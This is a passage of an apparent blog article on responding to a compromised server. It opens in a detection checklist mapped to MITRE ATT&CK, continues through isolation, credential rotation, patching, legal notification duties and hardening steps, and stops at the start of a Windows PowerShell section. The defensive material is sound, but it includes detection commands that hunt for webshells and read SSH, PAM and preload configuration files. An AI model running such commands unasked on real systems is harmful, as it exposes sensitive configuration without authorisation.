&lt;td&gt;Webshells in web root&lt;/td&gt;
&lt;td&gt;&lt;code&gt;find /var/www -name "*.php" -exec grep -l eval {} \;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1505.003&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;SUID binaries not in baseline&lt;/td&gt;
&lt;td&gt;&lt;code&gt;find / -perm -4000&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1548.001&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;Modified &lt;code&gt;/etc/hosts&lt;/code&gt; or DNS config&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;cat /etc/hosts&lt;/code&gt;, &lt;code&gt;cat /etc/resolv.conf&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;T1565&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;Modified SSH server config&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cat /etc/ssh/sshd_config&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1556&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;Modified PAM config&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ls -la /etc/pam.d/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1556.003&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;Disabled or stopped security tools&lt;/td&gt;
&lt;td&gt;&lt;code&gt;systemctl status auditd fail2ban&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1562.001&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;Gaps or tampering in log files&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ls -la /var/log/&lt;/code&gt;, check file sizes&lt;/td&gt;
&lt;td&gt;T1070.002&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;Unusual files in &lt;code&gt;/tmp&lt;/code&gt;, &lt;code&gt;/dev/shm&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ls -la /tmp/ /dev/shm/ /var/tmp/&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1059&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;Unexpected kernel modules&lt;/td&gt;
&lt;td&gt;&lt;code&gt;lsmod&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1215&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;New firewall rules (ports opened)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;iptables -L -n&lt;/code&gt;, cloud security groups&lt;/td&gt;
&lt;td&gt;T1562.004&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;Cloud IAM changes or new API keys&lt;/td&gt;
&lt;td&gt;CloudTrail, GCP Audit Logs, Azure Monitor&lt;/td&gt;
&lt;td&gt;T1078.004&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;Large outbound data transfers&lt;/td&gt;
&lt;td&gt;Network flow logs, VPC Flow Logs&lt;/td&gt;
&lt;td&gt;T1048&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;Rootkit detection findings&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;chkrootkit -q&lt;/code&gt;, &lt;code&gt;rkhunter --check --rwo&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;T1014&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;Modified &lt;code&gt;.bashrc&lt;/code&gt; / &lt;code&gt;.profile&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cat /root/.bashrc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1546.004&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;Privileged / host-mounted containers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kubectl get pods --all-namespaces -o json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1610&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;High-entropy DNS queries&lt;/td&gt;
&lt;td&gt;Zeek &lt;code&gt;dns.log&lt;/code&gt;, Suricata EVE JSON&lt;/td&gt;
&lt;td&gt;T1071.004&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;Suricata / IDS C2 alerts&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/var/log/suricata/eve.json&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1071.001&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;LD_PRELOAD&lt;/code&gt; entries&lt;/td&gt;
&lt;td&gt;&lt;code&gt;cat /etc/ld.so.preload&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;T1574.006&lt;/td&gt;
&lt;td&gt;☐&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;Deleted files still running in memory&lt;/td&gt;
&lt;td&gt;`lsof&lt;/td&gt;
&lt;td&gt;grep deleted`&lt;/td&gt;
&lt;td&gt;T1070&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  9. Immediate Response Actions
&lt;/h2&gt;

&lt;p&gt;Once compromise is confirmed, act decisively and in the correct order.&lt;/p&gt;

&lt;h3&gt;
  
  
  9.1 Isolate the Server
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Option A: Block all traffic except your investigation IP (iptables)&lt;/span&gt;
iptables &lt;span class="nt"&gt;-I&lt;/span&gt; INPUT &lt;span class="nt"&gt;-s&lt;/span&gt; YOUR_IP/32 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT
iptables &lt;span class="nt"&gt;-I&lt;/span&gt; OUTPUT &lt;span class="nt"&gt;-d&lt;/span&gt; YOUR_IP/32 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT
iptables &lt;span class="nt"&gt;-P&lt;/span&gt; INPUT DROP
iptables &lt;span class="nt"&gt;-P&lt;/span&gt; OUTPUT DROP
iptables &lt;span class="nt"&gt;-P&lt;/span&gt; FORWARD DROP

&lt;span class="c"&gt;# Option B: AWS — remove all inbound rules from the security group&lt;/span&gt;
aws ec2 revoke-security-group-ingress &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--group-id&lt;/span&gt; sg-XXXX &lt;span class="nt"&gt;--protocol&lt;/span&gt; all &lt;span class="nt"&gt;--cidr&lt;/span&gt; 0.0.0.0/0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;Snapshot the disk &lt;strong&gt;before&lt;/strong&gt; isolating the server for forensic preservation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  9.2 Kill Malicious Sessions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# View active sessions&lt;/span&gt;
&lt;span class="nb"&gt;who&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; w

&lt;span class="c"&gt;# Kill a specific terminal session (use PTS from `who` output)&lt;/span&gt;
pkill &lt;span class="nt"&gt;-kill&lt;/span&gt; &lt;span class="nt"&gt;-t&lt;/span&gt; pts/1

&lt;span class="c"&gt;# Kill a specific process by PID&lt;/span&gt;
&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nt"&gt;-9&lt;/span&gt; &amp;lt;PID&amp;gt;

&lt;span class="c"&gt;# Kill all processes owned by a suspicious user&lt;/span&gt;
pkill &lt;span class="nt"&gt;-u&lt;/span&gt; suspicioususer
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.3 Rotate All Credentials
&lt;/h3&gt;

&lt;p&gt;Rotate &lt;strong&gt;after&lt;/strong&gt; isolation to prevent the attacker from responding destructively.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Remove unauthorised SSH keys, then generate new keys for your team&lt;/span&gt;
ssh-keygen &lt;span class="nt"&gt;-t&lt;/span&gt; ed25519 &lt;span class="nt"&gt;-C&lt;/span&gt; &lt;span class="s2"&gt;"new_key_post_incident_&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%F&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Rotate system user passwords&lt;/span&gt;
passwd root &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; passwd &amp;lt;other_users&amp;gt;

&lt;span class="c"&gt;# AWS — rotate IAM access keys&lt;/span&gt;
aws iam create-access-key &lt;span class="nt"&gt;--user-name&lt;/span&gt; YOUR_USER
aws iam delete-access-key &lt;span class="nt"&gt;--user-name&lt;/span&gt; YOUR_USER &lt;span class="nt"&gt;--access-key-id&lt;/span&gt; OLD_KEY_ID

&lt;span class="c"&gt;# Rotate database passwords (PostgreSQL example)&lt;/span&gt;
psql &lt;span class="nt"&gt;-U&lt;/span&gt; postgres &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"ALTER USER appuser WITH PASSWORD 'new_strong_password';"&lt;/span&gt;

&lt;span class="c"&gt;# Rotate API keys, webhook secrets, JWT secrets, and update secrets manager&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.4 Patch the Exploited Vulnerability
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Full system update (Ubuntu/Debian)&lt;/span&gt;
apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt upgrade &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="c"&gt;# Full system update (RHEL/CentOS/Amazon Linux)&lt;/span&gt;
yum update &lt;span class="nt"&gt;-y&lt;/span&gt;

&lt;span class="c"&gt;# Patch a specific component (e.g., OpenSSH)&lt;/span&gt;
apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;--only-upgrade&lt;/span&gt; openssh-server
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.5 Restore from Backups
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Compare current file hashes against your baseline&lt;/span&gt;
&lt;span class="nb"&gt;md5sum&lt;/span&gt; /usr/bin/ls /bin/bash /sbin/sshd &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; current_hashes.txt
diff baseline_hashes.txt current_hashes.txt

&lt;span class="c"&gt;# Restore specific files from backup&lt;/span&gt;
rsync &lt;span class="nt"&gt;-avz&lt;/span&gt; backup_server:/backups/latest/etc/ /etc/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.6 Notify Stakeholders
&lt;/h3&gt;

&lt;p&gt;Timely, accurate communication is a legal and operational requirement — see Section 10 for regulatory obligations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Internal (immediately on confirmation):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CTO / Engineering Lead&lt;/li&gt;
&lt;li&gt;Legal and Compliance&lt;/li&gt;
&lt;li&gt;On-call team&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;External (based on data exposure assessment):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Affected customers&lt;/li&gt;
&lt;li&gt;Data protection authorities&lt;/li&gt;
&lt;li&gt;Cyber insurance provider&lt;/li&gt;
&lt;li&gt;Law enforcement (for significant breaches or ransomware)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  10. Legal, Compliance &amp;amp; Regulatory Obligations
&lt;/h2&gt;

&lt;p&gt;A server compromise is not just a technical event — it is a &lt;strong&gt;legal event&lt;/strong&gt;. The moment you confirm that personal data, payment data, or protected health information may have been accessed, a regulatory clock starts ticking. Ignoring this can result in fines that dwarf your remediation costs.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.1 GDPR (General Data Protection Regulation)
&lt;/h3&gt;

&lt;p&gt;Applies to any organisation that processes data of EU/UK residents, regardless of where your servers are located.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Obligation&lt;/th&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;th&gt;Deadline&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Supervisory Authority Notification&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Report to your national DPA if the breach is likely to result in risk to individuals&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;72 hours&lt;/strong&gt; from becoming aware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Individual Notification&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Notify affected individuals directly if the breach is likely to result in &lt;em&gt;high&lt;/em&gt; risk&lt;/td&gt;
&lt;td&gt;Without undue delay&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Documentation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Record all breaches, even if not reported externally&lt;/td&gt;
&lt;td&gt;Immediate; kept permanently&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key GDPR contacts (examples):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;UK: ICO — ico.org.uk/report-a-breach&lt;/li&gt;
&lt;li&gt;Ireland: DPC — dataprotection.ie&lt;/li&gt;
&lt;li&gt;Germany: Each Bundesland has its own DPA
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;GDPR Breach Assessment Checklist:
☐ What categories of personal data were exposed?
  (Names, emails = low risk | Health data, financial = HIGH risk)
☐ How many data subjects are affected?
☐ Can the data be used to cause harm (identity theft, discrimination)?
☐ Was the data encrypted at rest?
☐ Has the attacker been confirmed to have accessed the data,
  or just the server?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 PCI-DSS (Payment Card Industry Data Security Standard)
&lt;/h3&gt;

&lt;p&gt;Applies if your servers process, store, or transmit cardholder data (credit/debit card numbers).&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Obligation&lt;/th&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Incident Response Plan&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;You must have a documented, tested IR plan (Requirement 12.10)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Notify Card Brands&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Contact Visa, Mastercard, Amex directly within &lt;strong&gt;24 hours&lt;/strong&gt; of suspected compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Notify Acquiring Bank&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Your payment processor must be informed immediately&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Forensic Investigation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A PCI Forensic Investigator (PFI) may be required for serious breaches&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Log Preservation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Preserve all logs for at least 12 months; 3 months immediately available&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Critical:&lt;/strong&gt; Do not wipe or rebuild compromised systems in a PCI environment until your acquiring bank authorises it — you may be required to preserve the evidence for a PFI investigation.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  10.3 SEC Cybersecurity Disclosure Rules (US Public Companies)
&lt;/h3&gt;

&lt;p&gt;The SEC's 2023 cybersecurity rules require public companies to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Disclose &lt;strong&gt;material&lt;/strong&gt; cybersecurity incidents on &lt;strong&gt;Form 8-K within 4 business days&lt;/strong&gt; of determining materiality&lt;/li&gt;
&lt;li&gt;Disclose cybersecurity risk management, strategy, and governance in annual reports (Form 10-K)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A breach is "material" if a reasonable investor would consider it important to an investment decision — typically when customer data, revenue, operations, or reputation is significantly affected.&lt;/p&gt;

&lt;h3&gt;
  
  
  10.4 Nigeria Data Protection Act (NDPA) / NDPR
&lt;/h3&gt;

&lt;p&gt;For Nigerian-based organisations (particularly relevant for fintechs and startups operating in Nigeria):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Nigeria Data Protection Act 2023 requires notification to the Nigeria Data Protection Commission (NDPC) of data breaches&lt;/li&gt;
&lt;li&gt;Notification of affected data subjects is required where the breach is likely to cause harm&lt;/li&gt;
&lt;li&gt;Organisations must maintain a breach register&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10.5 Law Enforcement Engagement
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;When to engage law enforcement:
☐ Nation-state or politically motivated attack (CISA in the US, NCSC in UK)
☐ Ransomware (FBI has a dedicated ransomware task force)
☐ Financial fraud or wire transfers initiated via the compromise
☐ Child exploitation material discovered on the server
☐ Any attack on critical infrastructure

Important: Do NOT pay ransoms without consulting legal counsel.
Some ransomware groups are on OFAC sanctions lists — paying them
may itself be a criminal act under US law.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key contacts:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;US:&lt;/strong&gt; FBI Cyber Division — ic3.gov | CISA — cisa.gov/report&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UK:&lt;/strong&gt; NCSC — ncsc.gov.uk/section/about-ncsc/report-an-incident&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nigeria:&lt;/strong&gt; NITDA — nitda.gov.ng&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  10.6 Cyber Insurance
&lt;/h3&gt;

&lt;p&gt;If your organisation holds a cyber insurance policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Post-incident insurance checklist:
☐ Notify your insurer BEFORE rebuilding systems (they may require
  their own forensic investigator)
☐ Document all incident response costs (staff hours, third-party IR,
  legal fees, notification costs)
☐ Do not make public statements about the breach without legal sign-off
☐ Preserve all evidence in its original state until the insurer approves
☐ Check your policy for ransomware payment coverage and sublimits
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  11. Prevention Best Practices
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 Multi-Factor Authentication (MFA)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Install Google Authenticator PAM for SSH MFA&lt;/span&gt;
apt &lt;span class="nb"&gt;install &lt;/span&gt;libpam-google-authenticator
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"auth required pam_google_authenticator.so"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/pam.d/sshd

&lt;span class="c"&gt;# Enforce in sshd_config&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/ssh/sshd_config &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;
ChallengeResponseAuthentication yes
AuthenticationMethods publickey,keyboard-interactive
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;systemctl restart sshd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 Least Privilege
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Audit sudo — nobody should have NOPASSWD unless absolutely necessary&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s2"&gt;"NOPASSWD"&lt;/span&gt; /etc/sudoers /etc/sudoers.d/

&lt;span class="c"&gt;# Lock down SSH&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/ssh/sshd_config &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AllowUsers deploy ubuntu YOUR_USER
MaxAuthTries 3
LoginGraceTime 30
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;systemctl restart sshd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.3 Automated Patch Management
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Enable automatic security-only updates (Ubuntu)&lt;/span&gt;
apt &lt;span class="nb"&gt;install &lt;/span&gt;unattended-upgrades
dpkg-reconfigure &lt;span class="nt"&gt;--priority&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;low unattended-upgrades
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.4 Log Monitoring Architecture
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────────────┐
│                    LOGGING ARCHITECTURE                          │
│                                                                  │
│  Server Logs  ──►  Log Aggregator  ──►  SIEM / Alerting         │
│  (auth.log,        (Fluentd,             (Elastic/Kibana,        │
│   syslog,           Filebeat,             Splunk, Datadog,       │
│   nginx.log,        Logstash)             Wazuh)                 │
│   Zeek,                                        ↓                │
│   Suricata)                            Alert Rules               │
│                                        - Root login              │
│                                        - New user created        │
│                                        - Port scan detected      │
│                                        - Auth failure spike      │
│                                        - C2 beacon detected      │
└──────────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.5 IDS/IPS, EDR, and File Integrity Monitoring
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Wazuh agent (open-source HIDS/SIEM)&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add -
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"deb https://packages.wazuh.com/4.x/apt/ stable main"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nb"&gt;tee&lt;/span&gt; /etc/apt/sources.list.d/wazuh.list
apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt &lt;span class="nb"&gt;install &lt;/span&gt;wazuh-agent
systemctl &lt;span class="nb"&gt;enable &lt;/span&gt;wazuh-agent &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; systemctl start wazuh-agent

&lt;span class="c"&gt;# AIDE — File Integrity Monitoring&lt;/span&gt;
apt &lt;span class="nb"&gt;install &lt;/span&gt;aide
aideinit
&lt;span class="nb"&gt;cp&lt;/span&gt; /var/lib/aide/aide.db.new /var/lib/aide/aide.db
&lt;span class="c"&gt;# Automated daily check&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"0 2 * * * root /usr/bin/aide --check | &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s2"&gt;
  mail -s 'AIDE Report' security@yourcompany.com"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /etc/crontab
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.6 Backup Strategy (3-2-1 Rule)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌────────────────────────────────────────────────┐
│           THE 3-2-1 BACKUP RULE                │
│                                                │
│  3  copies of your data                        │
│  2  different storage media / services         │
│  1  copy offsite / air-gapped                  │
│                                                │
│  Cloud implementation:                         │
│  - Daily automated EBS/disk snapshots          │
│  - Weekly cross-region backup copy             │
│  - Monthly export to immutable cold storage    │
│  - Quarterly restore test (actually restore!)  │
└────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.7 Harden Your Attack Surface
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Disable unused services&lt;/span&gt;
systemctl disable &lt;span class="nt"&gt;--now&lt;/span&gt; bluetooth avahi-daemon cups

&lt;span class="c"&gt;# UFW firewall — default deny&lt;/span&gt;
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ufw allow 443/tcp &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ufw allow 80/tcp
ufw &lt;span class="nb"&gt;enable&lt;/span&gt;

&lt;span class="c"&gt;# AWS IMDSv2 only (prevents SSRF attacks from stealing IAM credentials)&lt;/span&gt;
aws ec2 modify-instance-metadata-options &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--instance-id&lt;/span&gt; i-YOUR_INSTANCE_ID &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--http-tokens&lt;/span&gt; required &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--http-endpoint&lt;/span&gt; enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  12. Windows Server Incident Response
&lt;/h2&gt;

&lt;p&gt;Windows Server environments require a parallel investigation workflow. Here is a concise Windows-specific playbook.&lt;/p&gt;

&lt;h3&gt;
  
  
  12.1 PowerShell Forensic Commands
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# ── Active Sessions ───────────────────────────────────────────────&lt;/span&gt;&lt;span class="w"&gt;
